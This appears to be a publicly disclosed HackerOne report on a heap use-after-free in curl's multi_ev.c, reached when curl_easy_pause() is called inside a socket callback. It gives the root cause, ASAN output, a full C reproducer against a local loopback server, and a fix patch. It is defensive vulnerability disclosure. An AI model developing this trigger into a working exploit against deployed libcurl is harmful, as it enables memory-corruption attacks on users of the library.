HexBrain

curl · Report #3749204

CVE-2026-9080: UAF after pause in socket callback

Validstatus
lowseverity
3upvotes
24 Jun 2026disclosed

How it was found

Hi all,

We've found a heap-use-after-free in lib/multi_ev.c triggered by calling curl_easy_pause() from within a CURLMOPT_SOCKETFUNCTION callback. ASAN-confirmed with the self-contained reproducer below.

Affected versions: 8.13.0 – 8.20.0 (current).
The entry->action write (line 280) has been vulnerable since the multi_ev rewrite in 8.13.0 (commit cfc657a48d, 2025-04-02). The entry->announced bit-field write (line 275) was added in 8.16.0 (commit 3d302250ec, 2025-09-10) and is what ASAN catches first, because a bit-field write compiles to a read-modify-write.


Root cause

mev_sh_entry_update() fires the socket callback, then writes to the mev_sh_entry it was passed:

/* lib/multi_ev.c */
mev_in_callback(multi, TRUE);
rc = multi->socket_cb(data, s, comboaction,
                      multi->socket_userp, entry->user_data);  /* fires app callback */
mev_in_callback(multi, FALSE);
entry->announced = TRUE;           /* UAF WRITE — entry may be freed  (line 275) */
if(rc == -1) { ... }
entry->action = (unsigned int)comboaction;                     /* UAF WRITE (line 280) */

curl_easy_pause() is documented as legal to call from any callback:

"Unlike most other libcurl functions, curl_easy_pause(3) can be used from within callbacks."

CURLMOPT_SOCKETFUNCTION documentation adds no restriction on this.

When called from the socket callback, curl_easy_pause() invokes Curl_multi_ev_assess_xfer() (easy.c:1183), which calls mev_assess(). mev_assess() has no guard on multi->in_callback — the flag is set by mev_in_callback() but never checked inside multi_ev.c. If the pause empties the transfer's poll-set (recv paused, nothing left to send), mev_pollset_diff() calls mev_forget_socket() → mev_sh_entry_kill() → free(entry). The writes at lines 275 and 280 then land on freed memory.


ASAN output

=================================================================
==59330==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b00000342c at pc 0x000100c9bde4 bp 0x00016fb5d390 sp 0x00016fb5d388
READ of size 1 at 0x60b00000342c thread T0
    #0 0x000100c9bde0 in mev_sh_entry_update multi_ev.c:275
    #1 0x000100c99c14 in mev_pollset_diff multi_ev.c:360
    #2 0x000100c97900 in mev_assess multi_ev.c:512
    #3 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
    #4 0x000100c96930 in multi_run_dirty multi.c:3203
    #5 0x000100c84e2c in multi_socket multi.c:3265
    #6 0x000100c851e4 in curl_multi_socket_action multi.c:3445
    #7 0x0001002a1758 in main poc_uaf.c:276

0x60b00000342c is located 92 bytes inside of 104-byte region [0x60b0000033d0,0x60b000003438)
freed by thread T0 here:
    #0 0x000101065424 in free+0x7c (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x000100c584c4 in curl_dbg_free memdebug.c:385
    #2 0x000100c98ed4 in mev_sh_entry_dtor multi_ev.c:78
    #3 0x000100bd3b98 in hash_elem_clear_ptr hash.c:129
    #4 0x000100bd43d0 in hash_elem_destroy hash.c:137
    #5 0x000100bd4278 in Curl_hash_delete hash.c:225
    #6 0x000100c9c3d4 in mev_sh_entry_kill multi_ev.c:123
    #7 0x000100c98b08 in mev_forget_socket multi_ev.c:207
    #8 0x000100c9a7d4 in mev_pollset_diff multi_ev.c:420
    #9 0x000100c97900 in mev_assess multi_ev.c:512
   #10 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
   #11 0x000100b942dc in curl_easy_pause easy.c:1183
   #12 0x0001002a2044 in sock_cb poc_uaf.c:181
   #13 0x000100c9bd80 in mev_sh_entry_update multi_ev.c:272
   #14 0x000100c99c14 in mev_pollset_diff multi_ev.c:360
   #15 0x000100c97900 in mev_assess multi_ev.c:512
   #16 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
   #17 0x000100c96930 in multi_run_dirty multi.c:3203
   #18 0x000100c84e2c in multi_socket multi.c:3265
   #19 0x000100c851e4 in curl_multi_socket_action multi.c:3445
   #20 0x0001002a1758 in main poc_uaf.c:276

previously allocated by thread T0 here:
    #0 0x000101065620 in calloc+0x80 (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x000100c57cec in curl_dbg_calloc memdebug.c:254
    #2 0x000100c9aa20 in mev_sh_entry_add multi_ev.c:105
    #3 0x000100c992a4 in mev_pollset_diff multi_ev.c:317
    #4 0x000100c97900 in mev_assess multi_ev.c:512
    #5 0x000100c97634 in Curl_multi_ev_assess_xfer multi_ev.c:523
    #6 0x000100c96930 in multi_run_dirty multi.c:3203
    #7 0x000100c84e2c in multi_socket multi.c:3265
    #8 0x000100c851e4 in curl_multi_socket_action multi.c:3445
    #9 0x0001002a1758 in main poc_uaf.c:276

SUMMARY: AddressSanitizer: heap-use-after-free multi_ev.c:275 in mev_sh_entry_update

Reproducer

Self-contained; spins up its own HTTP server in a thread. Build against a libcurl compiled with -fsanitize=address:

cc -g -fsanitize=address -fno-omit-frame-pointer poc_uaf.c \
    -Iinclude -Ibuild-asan/lib -Lbuild-asan/lib -lcurl-d \
    -Wl,-rpath,$(pwd)/build-asan/lib -o poc_uaf
ASAN_OPTIONS=halt_on_error=1:print_stacktrace=1 ./poc_uaf
/*
 * poc_uaf.c
 *
 * Trigger: call curl_easy_pause(easy, CURLPAUSE_RECV) from inside
 * CURLMOPT_SOCKETFUNCTION.  When the socket transitions from POLL_OUT to
 * POLL_IN (request sent, response pending), pausing recv empties the
 * transfer's poll-set, causing mev_forget_socket() to free the mev_sh_entry
 * that mev_sh_entry_update() is still about to write to.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <curl/curl.h>

static int g_server_port;

static void *server_thread(void *arg)
{
  int lfd = *(int *)arg;
  char buf[4096];
  for(;;) {
    int cfd = accept(lfd, NULL, NULL);
    if(cfd < 0)
      break;
    (void)recv(cfd, buf, sizeof(buf), 0);
    const char *resp =
      "HTTP/1.1 200 OK\r\n"
      "Content-Length: 512\r\n"
      "Connection: close\r\n"
      "\r\n";
    (void)send(cfd, resp, strlen(resp), 0);
    memset(buf, 'X', 512);
    (void)send(cfd, buf, 512, 0);
    close(cfd);
  }
  return NULL;
}

static int start_server(void)
{
  static int lfd;
  lfd = socket(AF_INET, SOCK_STREAM, 0);
  int opt = 1;
  setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
  struct sockaddr_in a = {0};
  a.sin_family      = AF_INET;
  a.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  a.sin_port        = 0;
  bind(lfd, (struct sockaddr *)&a, sizeof(a));
  listen(lfd, 8);
  socklen_t len = sizeof(a);
  getsockname(lfd, (struct sockaddr *)&a, &len);
  g_server_port = ntohs(a.sin_port);
  pthread_t t;
  pthread_create(&t, NULL, server_thread, &lfd);
  pthread_detach(t);
  return lfd;
}

#define MAX_FDS 64

struct ctx {
  CURLM         *multi;
  int            still_running;
  curl_socket_t  fds[MAX_FDS];
  int            actions[MAX_FDS];
  int            nfds;
  int            pause_fired;
  int            iterations;
};

static void fd_add(struct ctx *c, curl_socket_t s, int action)
{
  for(int i = 0; i < c->nfds; i++) {
    if(c->fds[i] == s) { c->actions[i] = action; return; }
  }
  if(c->nfds < MAX_FDS) {
    c->fds[c->nfds]     = s;
    c->actions[c->nfds] = action;
    c->nfds++;
  }
}

static void fd_del(struct ctx *c, curl_socket_t s)
{
  for(int i = 0; i < c->nfds; i++) {
    if(c->fds[i] == s) {
      c->nfds--;
      c->fds[i]     = c->fds[c->nfds];
      c->actions[i] = c->actions[c->nfds];
      return;
    }
  }
}

static int sock_cb(CURL *easy, curl_socket_t s, int what,
                   void *userp, void *socketp)
{
  struct ctx *c = userp;
  (void)socketp;
  if(what == CURL_POLL_REMOVE) { fd_del(c, s); return 0; }
  fd_add(c, s, what);

  if(!c->pause_fired && (what & CURL_POLL_IN)) {
    /*
     * The first POLL_IN may be the multi handle's internal wakeup pipe
     * (admin handle, conn==NULL); curl_easy_pause() returns
     * CURLE_BAD_FUNCTION_ARGUMENT and the re-entrant path is not taken.
     * Leave pause_fired=0 and retry on the next POLL_IN, which will be
     * the actual transfer socket (conn!=NULL).
     */
    CURLcode rc = curl_easy_pause(easy, CURLPAUSE_RECV);
    if(rc == CURLE_OK)
      c->pause_fired = 1;
  }
  return 0;
}

static int timer_cb(CURLM *m, long ms, void *u) { (void)m;(void)ms;(void)u; return 0; }
static size_t write_cb(char *p, size_t sz, size_t n, void *u) { (void)p;(void)u; return sz*n; }

int main(void)
{
  start_server();
  curl_global_init(CURL_GLOBAL_DEFAULT);

  struct ctx c = {0};
  c.multi = curl_multi_init();
  curl_multi_setopt(c.multi, CURLMOPT_SOCKETFUNCTION, sock_cb);
  curl_multi_setopt(c.multi, CURLMOPT_SOCKETDATA,     &c);
  curl_multi_setopt(c.multi, CURLMOPT_TIMERFUNCTION,  timer_cb);
  curl_multi_setopt(c.multi, CURLMOPT_TIMERDATA,      &c);

  CURL *easy = curl_easy_init();
  char url[64];
  snprintf(url, sizeof(url), "http://127.0.0.1:%d/test", g_server_port);
  curl_easy_setopt(easy, CURLOPT_URL,           url);
  curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_cb);
  curl_easy_setopt(easy, CURLOPT_VERBOSE,       0L);

  curl_multi_add_handle(c.multi, easy);
  curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);

  while(c.still_running && c.iterations < 2000) {
    c.iterations++;
    fd_set rfds, wfds;
    FD_ZERO(&rfds); FD_ZERO(&wfds);
    int maxfd = -1;
    for(int i = 0; i < c.nfds; i++) {
      curl_socket_t s = c.fds[i];
      int           a = c.actions[i];
      if(a & CURL_POLL_IN)  { FD_SET(s, &rfds); if((int)s > maxfd) maxfd = s; }
      if(a & CURL_POLL_OUT) { FD_SET(s, &wfds); if((int)s > maxfd) maxfd = s; }
    }
    if(maxfd < 0) {
      usleep(5000);
      curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
      continue;
    }
    struct timeval tv = { .tv_sec = 0, .tv_usec = 50000 };
    int rc = select(maxfd + 1, &rfds, &wfds, NULL, &tv);
    if(rc < 0) { if(errno == EINTR) continue; break; }
    if(rc == 0) {
      curl_multi_socket_action(c.multi, CURL_SOCKET_TIMEOUT, 0, &c.still_running);
      continue;
    }
    curl_socket_t ready_s[MAX_FDS]; int ready_ev[MAX_FDS]; int nready = 0;
    for(int i = 0; i < c.nfds && nready < MAX_FDS; i++) {
      curl_socket_t s = c.fds[i];
      int ev = 0;
      if(FD_ISSET(s, &rfds)) ev |= CURL_CSELECT_IN;
      if(FD_ISSET(s, &wfds)) ev |= CURL_CSELECT_OUT;
      if(ev) { ready_s[nready] = s; ready_ev[nready] = ev; nready++; }
    }
    for(int i = 0; i < nready; i++)
      curl_multi_socket_action(c.multi, ready_s[i], ready_ev[i], &c.still_running);
  }

  curl_multi_remove_handle(c.multi, easy);
  curl_easy_cleanup(easy);
  curl_multi_cleanup(c.multi);
  curl_global_cleanup();
  return 0;
}

Fix

Re-fetch the entry from the hash after the callback returns. The socket fd s is safe to use (it is a value on the stack); only the hash-owned entry pointer may be stale. The rc == -1 check is moved before the re-fetch so a callback-abort is still reported even if the entry was freed.

--- a/lib/multi_ev.c
+++ b/lib/multi_ev.c
@@ -271,9 +271,14 @@ static CURLMcode mev_sh_entry_update(...)
   mev_in_callback(multi, TRUE);
   rc = multi->socket_cb(data, s, comboaction, multi->socket_userp,
                         entry->user_data);
   mev_in_callback(multi, FALSE);
-  entry->announced = TRUE;
   if(rc == -1) {
     multi->dead = TRUE;
     return CURLM_ABORTED_BY_CALLBACK;
   }
+  /* curl_easy_pause() is documented as callable from any callback; it
+   * re-enters mev_assess() which may free this entry. Re-fetch. */
+  entry = mev_sh_entry_get(&multi->ev.sh_entries, s);
+  if(!entry)
+    return CURLM_OK;
+  entry->announced = TRUE;
   entry->action = (unsigned int)comboaction;
   return CURLM_OK;

Regards, AISLE Research Team

Impact

Use-after-free

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original